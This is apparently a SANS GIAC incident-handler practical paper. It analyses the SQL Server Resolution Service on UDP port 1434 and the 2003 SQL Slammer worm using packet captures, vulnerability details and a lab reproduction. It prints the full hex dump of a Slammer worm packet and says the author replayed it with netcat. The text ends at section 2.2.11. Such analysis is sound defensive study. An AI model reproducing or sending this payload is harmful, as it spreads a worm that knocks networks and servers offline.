

Global Information Assurance Certification Paper

Copyright SANS Institute Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering "Hacker Tools, Techniques, and Incident Handling (Security 504)" at http://www.giac.org/registration/gcih

GIAC Certified Incident Handler Practical Share have a start of the start Version 2.1a - Option 2

Table of Contents	
Introduction:	3
PART 1 – THE TARGETED PORT	4
1.1 Targeted Port	4
1.2 Targeted service	5
1.3 Description Of The Targeted Service	5
1 4 Protocol	5
1.4.1 Normal SOL Server Poselution Service Bebaviour:	5 6
1.4.2 Conture 1	0
1.4.2 Capture 1	/
1.4.3 Capture 2	ð
1.4.5 Capture 3	8
1.5 Vulnerabilities	9
PART 2 – THE EXPLOIT	10
2.1 Specific Exploit	10
2.2 Exploit Details	10
2.2.1 Name	10
2.2.2 CERT/CC and CVE Numbers:	10
2.2.3 Variants	10
2.2.4 Vulnerable Systems	11
2.2.4.1 Operating Systems	11
2.2.4.2 Affected Applications	11
2.2.5 Protocols/Services	12
2.2.6 Brief Description	12
2.2.7 Variants	12
2.2.8 Protocol Description	13
2.2.9 How the exploit works	14
2.2.10 Diagram	15
2.2.11 How to use the exploit	17
2.2.12 Signature of the attack	17
2.2.13 How to protect against it	18
2.2.14 Source Code/Pseudo Code:	19
2.2.15 References/Additional Information:	27
Table of Figures	
Eigure 1 Coographic Distribution of Attocked Parts March 15, 2002	Л
Figure 1 – Geographic Distribution of Attacked Ports – March 15, 2003	4
Figure 2 – 30 Day History of Top Ten Attacked Ports – March 15, 2003	4
Figure 3 – Microsoft SSKS Connection Negotiation	0
Figure 5 - Geographic Distribution of Attacked Ports – January 25, 2003	14
Figure 6 – Targets and Sources Targeting Port 1434	15
Figure 7 – Minimum Security Network Configuration	18
Figure 8 – More Verbose Network Security Configuration	19

Introduction:

In the early hours of the morning on January 25, 2003, system administrators, network administrators and Internet specialists around the world started noticing something strange happening to their systems. An exponential increase in traffic, coupled with strange requests for a usually quiet port, port 1434, alerted everyone that something was amiss. The Internet security community at large gathered together from all corners of the globe to watch as a worm spread with voracity to systems across the world. A far-reaching worm had been unleashed on the Internet. This new worm, shortly thereafter called 'SQL Slammer', had a devastating effect on several hundred thousand servers, routers and home PC's.

It wasn't long after the initial reports that the general public started noticing something too. Cash machines stopped dispensing money, many people around the globe couldn't access the Internet at all and in some cases entire countries lost access. Bank of America reported some 13 000 ATM's were out of service. System administrators around the globe were reporting tremendous packet loss, routers were locking up, people couldn't get on the Internet at all, and what had started as a simple worm turned into a Denial of Service of Internet-connected systems around the globe.

Slammer quickly and swiftly made its presence known. The mechanism by which it propagated itself will be discussed later on, for now it is sufficed to say that it spread fast. Really fast. The worm was unleashed at a time when most system administrators would be out of the office, in the late evening on a Friday night, and within ten minutes almost the entire world was feeling the effects. Nonetheless, the security community quickly came together as this new worm started affecting systems around the globe.

The Slammer worm was designed to exploit a vulnerability in Microsoft's SQL Server¹ and the Microsoft Desktop Engine (MSDE)². Microsoft SQL Servers exist on the Internet in droves. The exact number isn't known, but it must be astounding. Unfortunately, as became painfully evident when the Slammer worm was released, there are also astounding numbers of them unpatched.

The purpose of this paper is to discuss port 1434, it's associated services, and the vulnerabilities and exploits available for both.

¹ Microsoft SQL Server - <u>http://www.microsoft.com/sql/</u>

² Microsoft Desktop Engine -

http://www.microsoft.com/sql/techinfo/development/2000/MSDE2000.asp?LN=en-us&gssnb=1

PART 1 – The Targeted Port

1.1 Targeted Port

Port 1434, since January 25th having been a 'Top Ten' port at the Incident Storm Center³ is the port we will be focusing on.

The diagrams shown here, taken from the Incidents.org website on March 15 2003, show that almost 2 months after the initial release of the worm port 1434 is still one of the top ten attacked ports on the Internet. While the number of incidents has dropped dramatically from the initial worm release and subsequent onslaught of infections, the worm is still unfortunately out in the wild and propagating itself to vulnerable hosts.

Figure 1 – Geographic Distribution of Attacked Ports – March 15, 2003



Figure 2 – 30 Day History of Top Ten Attacked Ports – March 15, 2003

Service Name	Port Number	30 day history	Explanation
www	<u>80</u>		World Wide Web HTTP
netbios-ns	<u>137</u>		NETBIOS Name Service
ms-sql-m	<u>1434</u>	ht Hital r ht taran	Microsoft-SQL-Monitor
ident	<u>113</u>	n ustrunt us u	
microsoft-ds	<u>445</u>		Win2k+ Server Message Block
smtp	<u>25</u>		Simple Mail Transfer
netbios-ssn	<u>139</u>		NETBIOS Session Service
eDonkey2000	<u>4662</u>	ilmantulutuluarata.aa.	eDonkey2000 Server Default Port

³ Internet Storm Center - <u>http://isc.incidents.org/</u>

gnutella-svc	<u>6346</u>	gnutella-svc
domain	<u>53</u>	Domain Name Server

1.2 Targeted service:

The Slammer worm targets port 1434, a registered port⁴ assigned to ms-sql-m, the Microsoft SQL Monitor, also called the Microsoft SQL Server Resolution Service.

1.3 Description Of The Targeted Service:

SQL Server 2000 and the Microsoft Desktop Engine 2000 (MSDE) include the ability to have multiple instances of SQL running on the same machine. A default SQL installation listens on UDP port 1433 and has the SQL name 'MSSQLSERVER'. Because all instances can't listen and communicate on the same port or be addressed by clients using the same name, a method was designed for handling this. Microsoft introduced the Microsoft SQL Server Resolution Service (SSRS), which handles the connection setup when there are named installations of SQL available on the server computer.

1.4 Protocol:

Microsoft's SSRS runs atop the User Datagram Protocol (UDP). SSRS listens on UDP port 1434. Clients that wish to connect to an instance of SQL will send a UDP request to port 1434 and query the SSRS requesting which port they should use to communicate with the requested instance of SQL. The SSRS will respond to the client with the port the SQL server instance(s) is listening on. Subsequent communications with the requested SQL Server will continue on this port. The diagram below gives a high-level outline of this process.

⁴ Internet Assigned Numbers Authority (IANA) observes the registration of all port numbers on the Internet

⁻ http://www.iana.org/assignments/port-numbers

Figure 3 – Microsoft SSRS Connection Negotiation



1.4.1 Normal SQL Server Resolution Service Behaviour:

A packet capture of normal communication between clients and SQL servers shows the expected behaviour as outlined above.

The following captures were taken using tcpdump⁵, run using the following command: tcpdump -s0 - X - i - n + 0

-i switch indicates the network interface we want to listen on, in this case it's eth0.

-s0 switch is used to specify the snaplen of the captured packets. The '0' indicates to capture the whole packet.

-n switch tells tcpdump not to convert addresses (both port and IP) to names. Used here so we can more visibly see which ports are being communicated on.

-x switch outputs the packet in hex/ASCII format so that it's more human-readable.

To elicit the following captures I opened SQL Enterprise Manager on one of the Windows Servers. I then proceeded to add a new SQL server registration to Enterprise

⁵ tcpdump is a network packet capturing tool. It provides the ability to extensively filter for packets and retrieve those based on the filters provided. No network administrator should be without it - <u>http://www.tcpdump.org/</u>

Manager. SQL Enterprise Manager then proceeds by sending out a broadcast to UDP port 1434 looking for available SQL Servers on the LAN.

1.4.2 Capture 1

This first packet capture displays the communication from one client sending a request to a server that contains only one default installation of SQL Server 2000.

You can see in this first packet a broadcast is sent from the client to the ms-sql-m service, UDP port 1434:

00:25:44.619447 10.1.1.2.1043 > 255.255.255.255.1434: udp 1 0x0000 4500 001d 0200 0000 8011 2dce 0a01 0102 E..... 0x0010 ffff ffff 0413 059a 0009 e92c 0200 0000yc 0x0020 0000 0000 0000 0000 0000 0000 7943yc 0x0030 dfdc

In the following UDP packet a reply is received from the SQL server, containing information regarding the name of the SQL Server instance (highlighted in blue) and the protocol and port to communicate with this instance on (highlighted in yellow):

00:25:44.62	21135 1().1.1	.1.143	34 > 1	10.1.1	L.2.1()43: ı	11 dp	7
0x0000	4500	0091	01fb	0000	8011	225d	0a01	0101	E"]
0x0010	0a01	0102	059a	0413	007d	4f62	0572	0053	}Ob.r.S
0x0020	6572	7665	724e	616d	653b	5345	5256	4552	erverName;SERVER
0x0030	423b	496e	7374	616e	6365	4e61	6d65	3b4d	B;InstanceName;M
0x0040	5353	514c	5345	5256	4552	3b49	7343	6c75	SSQLSERVER; IsClu
0x0050	7374	6572	6564	3b4e	6f3b	5665	7273	696f	stered;No;Versio
0x0060	6e3b	382e	3030	2e31	3934	3b74	6370	3b31	n;8.00.194; <mark>tcp;1</mark>
0x0070	3433	333b	6e70	3b5c	5c53	4552	5645	5242	<mark>433;</mark> np;\\SERVERB
0x0080	5c70	6970	655c	7371	6c5c	7175	6572	793b	<pre>\pipe\sql\query;</pre>
0x0090	3b29	75d2	с2						;)u

The following communications between the client and server commence on TCP port 1433. Because this SQL Server was installed using a default installation and is not a named instance of SQL, the default SQL Server port of 1433 is used. Below you can see a three-way handshake between the client and server.

00:25:58.349670 10.1.1.2.1044 > 10.1.1.1.1433: S 986290637:986290637(0) win 16384 <mss 1460, nop, nop, sackOK> (DF) 0x0000 4500 0030 0202 4000 8006 e2c1 0a01 0102 E..0.@..... 0x0010 0a01 0101 0414 0599 3ac9 99cd 0000 0000 0x0020 7002 4000 4ed7 0000 0204 05b4 0101 0402 p.@.N.... 0x0030 eda5 cde8 00:25:58.349983 10.1.1.1.1433 > 10.1.1.2.1044: S 3948003446:3948003446(0) ack 986290638 win 17520 <mss 1460, nop, nop, sackOK> (DF) 0x0000 4500 0030 01fc 4000 8006 e2c7 0a01 0101 E..0.@.... 0x0010 0a01 0102 0599 0414 eb51 c076 3ac9 99ceQ.v:... 0x0020 7012 4470 9e8d 0000 0204 05b4 0101 0402 p.Dp..... 0x0030 092a c7c5 00:25:58.350146 10.1.1.2.1044 > 10.1.1.1.ms-sql-s: . ack 1 win 17520 (DF)
 0x0000
 4500
 0028
 0203
 4000
 8006
 e2c8
 0a01
 0102
 E..(.@.....Q.w

 0x0010
 0a01
 0101
 0414
 0599
 3ac9
 99ce
 eb51
 c077
Q.w

 0x0020
 5010
 4470
 cb51
 0000
 0000
 2b61
 P.Dp.Q....+a

 0x0030
 ac8b
 ...
 ...
 ...
 ...

1.4.3 Capture 2

The next capture was taken from communications between one client and one SQL Server, which was installed using a named instance of SQL rather than the default install.

Here again we have the initial broadcast from the client:

00:29:18.88	1832 10).1.1.	.1.103	38 > 2	255.25	55.255	5.255	.1434:	udp 1		
0x0000	4500	001d	0283	0000	8011	2d4c	0a01	0101	E	 L	
0x0010	ffff	ffff	040e	059a	0009	e932	0200	0200		 2	
0x0020	0200	0200	0200	0200	0200	0200	0200	fde6		 	
0x0030	b68f										

This time, however, the SQL Server responds with a different destination port than the default port of 1433 (highlighted in yellow):

00:29:18.8830	27 10).1.1.	2.143	34 > 1	10.1.1	.1.10)38: ι	udp 133	3
0x0000	4500	00a1	0287	0000	8011	21c1	0a01	0102	E!
0x0010	0a01	0101	059a	040e	008d	16dd	0582	0053	S
0x0020	6572	7665	724e	616d	653b	5345	5256	4552	erverName; SERVER
0x0030	413b	496e	7374	616e	6365	4e61	6d65	3b53	A; InstanceName; S
0x0040	4552	5645	5247	4545	4b3b	4973	436c	7573	ERVERGEEK; IsClus
0x0050	7465	7265	643b	4e6f	3b56	6572	7369	6f6e	tered; No; Version
0x0060	3b38	2e30	302e	3139	343b	7463	703b	3130	;8.00.194; <mark>tcp;10</mark>
0x0070	3239	3b6e	703b	5c5c	5345	5256	4552	415c	<mark>29;</mark> np;\\SERVERA\
0x0080	7069	7065	5c4d	5353	514c	2453	4552	5645	pipe\MSSQL\$SERVE
0x0090	5247	4545	4b5c	7371	6c5c	7175	6572	793b	RGEEK\sql\query;
0x00a0	3b27	d7d6	5f						• T 7 • •

Communication then begins on the specified port:

 00:29:32.122479
 10.1.1.1.1039 > 10.1.1.2.1029: S
 4001594617:4001594617(0) win

 16384 <mss</td>
 1460, nop, nop, sackOK> (DF)

 0x0000
 4500
 0030
 0285
 4000
 8006
 e23e
 0a01
 0101
 E..0..@...>...

 0x0010
 0a01
 0102
 040f
 0405
 ee83
 7cf9
 0000
 0.........................

 0x0020
 7002
 4000
 b989
 0000
 0204
 05b4
 0101
 0402
 p.@..........................

 0x0030
 91fd
 ee79
y

1.4.5 Capture 3

The third capture displays what happens when communication occurs between one client and a server running two named instances of SQL:

Again, the initial UDP broadcast:

01:09:39.996179 10.1.1.1.1050 > 255.255.255.255.1434: udp 1

0x0000	4500	001d	0669	0000	8011	2966	0a01	0101	Ei)f
0x0010	ffff	ffff	041a	059a	0009	e926	0200	0200	&
0x0020	0200	0200	0200	0200	0200	0200	0200	331b	3 .
0x0030	848f								

In the following packet the SQL Server Resolution Service responds to the query with information regarding both named instances of SQL installed on the server (highlighted in blue). Along with the instance name is the protocol and port information (hightlighted in yellow):

01:09:39.9983	394 10).1.1	2.143	34 > 1	10.1.1	1.1.10)50 : ι	idp 26	3
0x000x0	4500	0123	0698	0000	8011	1d2e	0a01	0102	E#
0x0010	0a01	0101	059a	041a	010f	5e5b	0504	0153	^[
0x0020	6572	7665	724e	616d	653b	5345	5256	4552	erverName; SERVER
0x0030	413b	496e	7374	616e	6365	4e61	6d65	3b53	A; InstanceName; S
0x0040	4552	5645	5247	4545	4b3b	4973	436c	7573	<pre>ERVERGEEK;IsClus</pre>
0x0050	7465	7265	643b	4e6f	3b56	6572	7369	6f6e	tered; No; Version
0x0060	3b38	2e30	302e	3139	343b	7463	703b	3130	;8.00.194; <mark>tcp;10</mark>
0x0070	3239	3b6e	703b	5c5c	5345	5256	4552	415c	29; np; \\SERVERA\
0x0080	7069	7065	5c4d	5353	514c	2453	4552	5645	pipe\MSSQL\$SERVE
0x0090	5247	4545	4b5c	7371	6c5c	7175	6572	793b	RGEEK\sql\query;
0x00a0	3b53	6572	7665	724e	616d	653b	5345	5256	;ServerName;SERV
0x00b0	4552	413b	496e	7374	616e	6365	4e61	6d65	ERA; <mark>InstanceName</mark>
0x00c0	3b53	4552	5645	524e	4552	443b	4973	436c	;SERVERNERD;IsCl
0x00d0	7573	7465	7265	643b	4e6f	3b56	6572	7369	ustered;No;Versi
0x00e0	6f6e	3b38	2e30	302e	3139	343b	7463	703b	on;8.00.194; <mark>tcp;</mark>
0x00f0	3130	3438	3b6e	703b	5c5c	5345	5256	4552	<pre>1048; np; \\SERVER</pre>
0x0100	415c	7069	7065	5c4d	5353	514c	2453	4552	A\pipe\MSSQL\$SER
0x0110	5645	524e	4552	445c	7371	6c5c	7175	6572	VERNERD\sql\quer
0x0120	793b	3b92	6371	ef					y;;.cq.

Communication then begins as before, using the above protocol and ports.

1.5 Vulnerabilities

Unfortunately, the SSRS contains three vulnerabilities. Two of the vulnerabilities are buffer overruns, and the third is a denial of service vulnerability.

The two buffer overrun vulnerabilities are exploited by sending a manipulated packet to the SSRS. The manipulated packet will overwrite system memory, potentially allowing the attacker to gain full control of the system.

The denial of service vulnerability exploits a flaw in the keep-alive mechanism used by SQL Server, whereby a crafted packet sent to one SQL Server, with the source address of another SQL Server will cause the two servers to communicate in an infinite loop. This will eventually create a denial of service between the two.

2.1 Specific Exploit

The specific exploit we will be focusing on is the SQL Slammer Worm, an exploit that targets a stack buffer overflow vulnerability in the SSRS and creates a Denial Of Service (DOS).

2.2 Exploit Details

2.2.1 Name

The exploit we are covering has been given a number of names by different security vendors. The following list covers some of the more prominent security vendors' aliases, however we will use the terms SQL Slammer and Slammer interchangeably throughout this paper to refer to the exploit.

- SQL Slammer Worm [ISS⁶]
- DDOS.SQLP1434.A [Trend⁷]
- W32/SQLSlammer [McAfee⁸]
- Slammer [F-Secure⁹]
- Sapphire [eEye¹⁰]
- W32/SQLSlam-A [Sophos¹¹]
- W32.SQLExp.Worm [Symantec¹²]

2.2.2 CERT/CC and CVE Numbers:

CERT/CC # CA-2003-04 - http://www.cert.org/advisories/CA-2003-04.html Common Vulnerabilities and Exploits (CVE) # CAN-2002-0649 - http://cve.mitre.org/cgibin/cvename.cgi?name=CAN-2002-0649

2.2.3 Variants

None known.

⁶ Internet Security Systems - http://www.iss.net/

⁷ Trend Micro – http://www.trendmicro.com/

⁸ McAfee Security – <u>http://www.mcafee.com/</u> ⁹ F-Secure - <u>http://www.f-secure.com/</u>

¹⁰

eEye Digital Security - http://www.eeye.com/

¹¹ Sophos - <u>http://www.sophos.com/</u>

¹² Symantec - <u>http://www.symantec.com/</u>

2.2.4 Vulnerable Systems

2.2.4.1 Operating Systems

Essentially any operating system on which you can successfully install SQL Server 2000 or MSDE 2000 has the potential to be vulnerable if one of the two products gets installed. These currently include:

- Windows 95
- Windows 98
- Windows Me
- Windows NT
- Windows 2000
- Windows XP

2.2.4.2 Affected Applications

Microsoft SQL Server Resolution Service is installed with the following Microsoft products and therefore makes them potentially vulnerable:

- Microsoft SQL Server 2000
 - Microsoft Desktop Engine 2000 (MSDE 2000) which can be installed as part of:
 - Access 2002
 - Application Center 2000 RTM, SP1, SP2
 - ASP.NET Web Matrix Tool
 - BizTalk® Server 2002 Partner Edition
 - Commerce Server
 - Encarta Class Server 1.0
 - Host Integration Server 2000
 - Microsoft Business Solutions Customer Relationship Manager
 - Microsoft Class Server 2.0
 - MSDN (various subscription levels)
 - NET Framework SDK
 - Office XP Professional, Developer
 - Operations Manager 2000 RTM, SP1
 - Project Server 2002
 - Retail Management System headquarters 1.0
 - Retail Management System Store Operations 1.0
 - SharePoint[™] Team Services 2.0 beta 1
 - Small Business Manager 6.0, 6.2, and 7.0
 - Small Business Server 2000
 - SQL Server 2000 (Developer, Standard, and Enterprise Editions (RTM, SP1, SP2)
 - Visio 2002 Enterprise Network Tools
 - Visual Basic .NET Standard 2002 , Visual C++ .NET Standard 2002 , Visual C# .NET Standard 2002

- Visual FoxPro 7.0 and 8.0 beta
- Visual Studio .NET 2002 Professional, Enterprise Developer, and Enterprise Architect editions
- Visual Studio .NET 2003 Beta
- Windows Enterprise Server 2003 RC1, only if UDDI is enabled
- Windows Server 2003 RC1, only if UDDI is enabled
- Windows XP Embedded Tools

There are also a number of third-party applications that integrate portions of SQL Server 2000 and/or MSDE. For instance, such well-known and widespread applications as the following contain either of the two:

- Crystal Reports Enterprise 8.5
- HP Openview Operations for Windows
- HP Openview Internet Services
- Veritas Backup Exec 9.0
- JD Edwards (ERP, CRM 1 and 2, Oneworld)

For a complete listing of third-party applications containing either product follow this link to the SQL Security website. This site contains extensive information regarding products that have various versions of SQL and MSDE installed: <u>http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=10&tabid=13</u>

2.2.5 Protocols/Services

The services this exploit takes advantage of are Microsoft SQL Server 2000 and Microsoft Desktop Engine 2000 (MSDE) running Microsoft SQL Server Resolution Service listening on UDP port 1434. A UDP packet is the carrier of the malicious code.

2.2.6 Brief Description

Written in x86 Assembly language, Slammer was designed by creating self-propagating code that exploits a stack buffer overflow vulnerability, outlined in the Common Vulnerabilities and Exposures List #CAN-2002-0649¹³. Once the worm has infected a host it will send itself to randomly generated IP addresses. All it takes is one 376-byte UDP packet containing this malicious code to infect another vulnerable host. Once infected, a host will follow the pattern just described and begin to propagate to other randomly generated IP's.

2.2.7 Variants

None currently known.

¹³ Common Vulnerabilities and Exposures List – <u>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0649</u>

2.2.8 Protocol Description

The Slammer worm was designed to use UDP as it's communication medium. UDP is a connectionless protocol best suited for applications that don't require guaranteed delivery. UDP works by encapsulating data in a UDP packet, adding it's own header information to the packet, which includes the source and destination ports to communicate on, the length of the packet and a checksum. UDP packets are encapsulated in an Internet Protocol (IP¹⁴) packet and sent off to their destination. UDP, unlike Transmission Control Protocol (TCP¹⁵), does not offer guaranteed delivery of a packet, and as such the sender does not need to negotiate the connection with the receiver. All that is required is to send the packet to the receiver. UDP is used by a large number of services including essentials such as Domain Name Server (DNS) and Network Time Protocol (NTP).

The following packet diagram outlines the header information contained in a UDP packet. The first sixteen bits contain the source port of the sender. The next sixteen bits contain the destination port on the receiver. Sixteen bits are then used to contain the UDP packet length, which is a sum of the length of all UDP header information and the length of the UDP data. A checksum is then included in the next sixteen bits, which is calculated using a pseudo header. The pseudo header is comprised of the source and destination addresses, the protocol (all obtained from the IP packet header), and the UDP packet length. Finally, the packet contains the data, which in this case would be the malicious exploit code.

0	15	16	31
16-bit Source Port		16-bit Destination Port	
16-bit UDP Length		16-bit UDP Checksum	
	Data (if any)	

Figure 4 – UDP Datagram

Once built, a UDP packet is then encapsulated into an IP packet, it then undergoes some further processing to facilitate its transmission and is sent to its destination.

¹⁴ IP is the underlying communication protocol used for a wide variety of other protocols. Its header information includes the source and destination address for the packet, along with several other fields to facilitate transmission of a packet from source to destination. For a complete explanation of IP see rfc791 - <u>ftp://ftp.rfc-editor.org/in-notes/rfc791.txt</u>

¹⁵ TCP is a widely used protocol for the reliable transmission of data across the Internet. To guarantee delivery of packets TCP first uses a 'three way handshake' to set up a connection from source to destination. Packets are assigned a sequence number so that the receiving end can rebuild the transmission in the correct order. For each packet sent, a reply is required from the receiver. If the sender does not receive a reply within a certain time frame the packet is resent. For a complete explanation of TCP see rfc793 - <u>ftp://ftp.rfc-editor.org/in-notes/rfc793.txt</u>

2.2.9 How the exploit works

The Slammer exploit works by sending one 376-byte packet to random hosts on UDP port 1434. The packet contains padding to exploit a buffer overrun vulnerability, with the subsequent code designed to randomly generate an IP address, craft a UDP packet containing this randomly generated IP as the destination host with port 1434 as the destination port and then sends the packet, containing it's own malicious code to the generated IP. It then repeats the above sequence continuously until the worm is destroyed either by ending the sql server process or by turning off the machine.

The behaviour of the worm when it infects the machine is fairly harmless to the host itself. The worm sits in memory, nothing is ever written to disk, and therefore it can be eradicated by rebooting the machine, which will clear the memory of any data it contains. Once rebooted however, a machine is still susceptible to the exploit until a patch is applied to protect against the vulnerability.

Thankfully the packet payload doesn't contain any further malicious code. The extent to which this vulnerability could have been exploited, and still potentially can be, is quite alarming. Potentially, code could be written to take advantage of the buffer overflow and rather than the Denial of Service created by this particular exploit, could enable an attacker to have the same user privileges that the SQL Server Service is running under. This could enable the attacker to have full control over the SQL databases and worse. If during the SQL installation the user set the SQL service to run under the local system account, the attacker could have full privileges on the vulnerable machine.

Because of the simplicity in it's design, the code is extremely effective in that it will continue to repeat, consuming almost if not all network bandwidth available. As is evident in the diagram¹⁶ below, when the worm initially hit the Internet on January 25, 2003, it did just that.



Figure 5 - Geographic Distribution of Attacked Ports – January 25, 2003

¹⁶ Posted by bok on January 27, 2003 - <u>http://bok.xs4all.nl/weblog/archives/000032.html</u>, and originally sourced from the Internet Storm Center – <u>http://isc.incidents.org/</u>

Since that time the spread of the worm has slowed considerably, but it's still making it's presence felt.





2.2.10 Diagram

The following capture shows a typical full packet from an infected host to a randomly generated IP address. All of the packets built by this worm are almost entirely identical. This packet's payload contains all of the code for the exploit, which if sent to a vulnerable host will start the cycle again.

04:34:24.12	6663 10	0.1.1	.2.105	58 > 2	230.50	0.102	.144.1	434:	udp 376 [ttl 1]
0x000x0	4500	0194	cc3d	0000	0111	9456	0a01	0102	$E \dots = \dots V \dots$
0x0010	e632	6690	0422	059a	0180	d963	0401	0101	.2f"c
0x0020	0101	0101	0101	0101	0101	0101	0101	0101	
0x0030	0101	0101	0101	0101	0101	0101	0101	0101	
0x0040	0101	0101	0101	0101	0101	0101	0101	0101	
0x0050	0101	0101	0101	0101	0101	0101	0101	0101	
0x0060	0101	0101	0101	0101	0101	0101	0101	0101	
0x0070	0101	0101	0101	0101	0101	0101	01dc	c9b0	
0x0080	42eb	0e01	0101	0101	0101	70ae	4201	70ae	Вр.В.р.
0x0090	4290	9090	9090	9090	9068	dcc9	b042	b801	BhB
0x00a0	0101	0131	c9b1	1850	e2fd	3501	0101	0550	1P5P
0x00b0	89e5	5168	2e64	6c6c	6865	6c33	3268	6b65	Qh.dllhel32hke
0x00c0	726e	5168	6f75	6e74	6869	636b	4368	4765	rnQhounthickChGe
0x00d0	7454	66b9	6c6c	5168	3332	2e64	6877	7332	tTf.llQh32.dhws2
0x00e0	5f66	b965	7451	6873	6f63	6b66	b974	6f51	_f.etQhsockf.toQ
0x00f0	6873	656e	64be	1810	ae42	8d45	d450	ff16	hsendB.E.P
0x0100	508d	45e0	508d	45f0	50ff	1650	be10	10ae	P.E.P.E.PP

0x0110	428b	le8b	033d	558b	ec51	7405	belc	10ae	B=UQt
0x0120	42ff	16ff	d031	c951	5150	81f1	0301	049b	B1.QQP
0x0130	81f1	0101	0101	518d	45cc	508b	45c0	50ff	Q.E.P.E.P.
0x0140	166a	116a	026a	02ff	d050	8d45	c450	8b45	.j.j.jP.E.P.E
0x0150	c050	ff16	89c6	09db	81f3	3c61	d9ff	8b45	.PE
0x0160	b48d	0 c 4 0	8d14	88c1	e204	01c2	cle2	0829	<u>(</u>)
0x0170	c28d	0490	01d8	8945	b46a	108d	45b0	5031	E.jE.P1
0x0180	c951	6681	f178	0151	8d45	0350	8b45	ac50	.Qfx.Q.E.P.E.P
0x0190	ffd6	ebca	75d7	5966					

A look at even just a small section of network traffic will show that the worm's cycle is very quick. In the following section we can see almost 50 packets being sent from the exploited host. Take note of the timestamps on the packets. This whole capture took place in less than one twentieth of a second.

06:18:47.983159	10.1.1.2.1058	>	227.123.102.53.1434: udp 376 [ttl 1]
06:18:47.983961	10.1.1.2.1058	>	229.23.32.47.1434: udp 376 [ttl 1]
06:18:47.984312	10.1.1.2.1058	>	234.72.127.64.1434: udp 376 [ttl 1]
06:18:47.985313	10.1.1.2.1058	>	237.242.123.206.1434: udp 376 [ttl 1]
06:18:47.985668	10.1.1.2.1058	>	236.252.132.133.1434: udp 376 [ttl 1]
06:18:47.986022	10.1.1.2.1058	>	232.142.146.22.1434: udp 376 [ttl 1]
06:18:47.986404	10.1.1.2.1058	>	233.99.100.15.1434: udp 376 [ttl 1]
06:18:47.988101	10.1.1.2.1058	>	235.241.31.176.1434: udp 376 [ttl 1]
06:18:47.989377	10.1.1.2.1058	>	238.5.31.106.1434: udp 376 [ttl 1]
06:18:47.989733	10.1.1.2.1058	>	224.152.224.41.1434: udp 376 [ttl 1]
06:18:47.990086	10.1.1.2.1058	>	230.155.2.62.1434: udp 376 [ttl 1]
06:18:47.991810	10.1.1.2.1058	>	226.103.157.65.1434: udp 376 [ttl 1]
06:18:47.992228	10.1.1.2.1058	>	225.17.175.126.1434: udp 376 [ttl 1]
06:18:47.992582	10.1.1.2.1058	>	239.68.105.224.1434: udp 376 [ttl 1]
06:18:47.994566	10.1.1.2.1058	>	231.88.162.193.1434: udp 376 [ttl 1]
06:18:47.996639	10.1.1.2.1058	>	228.164.157.170.1434: udp 376 [ttl 1]
06:18:47.996686	arp who-has 10).1	68.121.9 tell 10.1.1.2
06:18:47.997533	10.1.1.2.1058	>	227.142.53.94.1434: udp 376 [ttl 1]
06:18:47.998332	10.1.1.2.1058	>	229.18.41.162.1434: udp 376 [ttl 1]
06:18:47.998685	10.1.1.2.1058	>	234.7.21.206.1434: udp 376 [ttl 1]
06:18:47.999678	10.1.1.2.1058	>	237.141.104.64.1434: udp 376 [ttl 1]
06:18:48.000033	10.1.1.2.1058	>	236.163.52.68.1434: udp 376 [ttl 1]
06:18:48.000386	10.1.1.2.1058	>	232.101.86.169.1434: udp 376 [ttl 1]
06:18:48.000775	10.1.1.2.1058	>	233.46.241.173.1434: udp 376 [ttl 1]
06:18:48.002492	10.1.1.2.1058	>	235.164.142.187.1434: udp 376 [ttl 1]
06:18:48.003768	10.1.1.2.1058	>	238.148.236.206.1434: udp 376 [ttl 1]
06:18:48.004123	10.1.1.2.1058	>	224.207.4.0.1434: udp 376 [ttl 1]
06:18:48.004477	10.1.1.2.1058	>	230.138.160.159.1434: udp 376 [ttl 1]
06:18:48.006205	10.1.1.2.1058	>	226.134.151.122.1434: udp 376 [ttl 1]
06:18:48.006621	10.1.1.2.1058	>	225.60.236.188.1434: udp 376 [ttl 1]
06:18:48.006992	10.1.1.2.1058	>	239.199.7.62.1434: udp 376 [ttl 1]
06:18:48.008940	10.1.1.2.1058	>	231.59.41.16.1434: udp 376 [ttl 1]
06:18:48.010992	10.1.1.2.1058	>	228.171.69.195.1434: udp 376 [ttl 1]
06:18:48.011038	arp who-has 10).2	231.57.14 tell 10.1.1.2
06:18:48.011872	10.1.1.2.1058	>	227.161.32.113.1434: udp 376 [ttl 1]
06:18:48.012680	10.1.1.2.1058	>	229.13.110.208.1434: udp 376 [ttl 1]
06:18:48.013035	10.1.1.2.1058	>	234.198.182.81.1434: udp 376 [ttl 1]
06:18:48.014029	10.1.1.2.1058	>	237.40.17.226.1434: udp 376 [ttl 1]
06:18:48.014385	10.1.1.2.1058	>	236.74.16.74.1434: udp 376 [ttl 1]
06:18:48.014741	10.1.1.2.1058	>	232.60.6.129.1434: udp 376 [ttl 1]

06:18:48.015132 10.1.1.2.1058 > 233.249.249.233.1434: udp 376 [ttl 1] 06:18:48.016834 10.1.1.2.1058 > 235.87.153.85.1434: udp 376 [ttl 1] 06:18:48.018105 10.1.1.2.1058 > 238.35.6.156.1434: udp 376 [ttl 1] 06:18:48.018460 10.1.1.2.1058 > 224.6.149.118.1434: udp 376 [ttl 1] 06:18:48.018816 10.1.1.2.1058 > 230.121.10.133.1434: udp 376 [ttl 1] 06:18:48.020535 10.1.1.2.1058 > 226.165.29.213.1434: udp 376 [ttl 1] 06:18:48.020946 10.1.1.2.1058 > 225.103.37.52.1434: udp 376 [ttl 1] 06:18:48.021301 10.1.1.2.1058 > 239.74.130.252.1434: udp 376 [ttl 1] 06:18:48.023292 10.1.1.2.1058 > 231.30.12.187.1434: udp 376 [ttl 1] 06:18:48.025372 10.1.1.2.1058 > 228.178.153.94.1434: udp 376 [ttl 1]

2.2.11 How to use the exploit

This exploit is very simple to use. Once in possession of the offending code, a simple execution of the script will start the worm on it's way to infecting thousands of hosts.

For this paper I set up a small network consisting of two servers running Windows 2000 Advanced Server as the host operating system, and one machine running Slackware Linux for watching the mayhem ensue. I connected all machines together with a hub. I then proceeded to install SQL Server 2000 with no service packs on the two Windows servers, using the default installation on one, and specifying a named instance on the other. I set both to run as the local system account.

Once initial installations were complete, I proceeded to run the malicious code from my Linux machine, using netcat¹⁷ to direct the output to port 1434 on one of the servers.

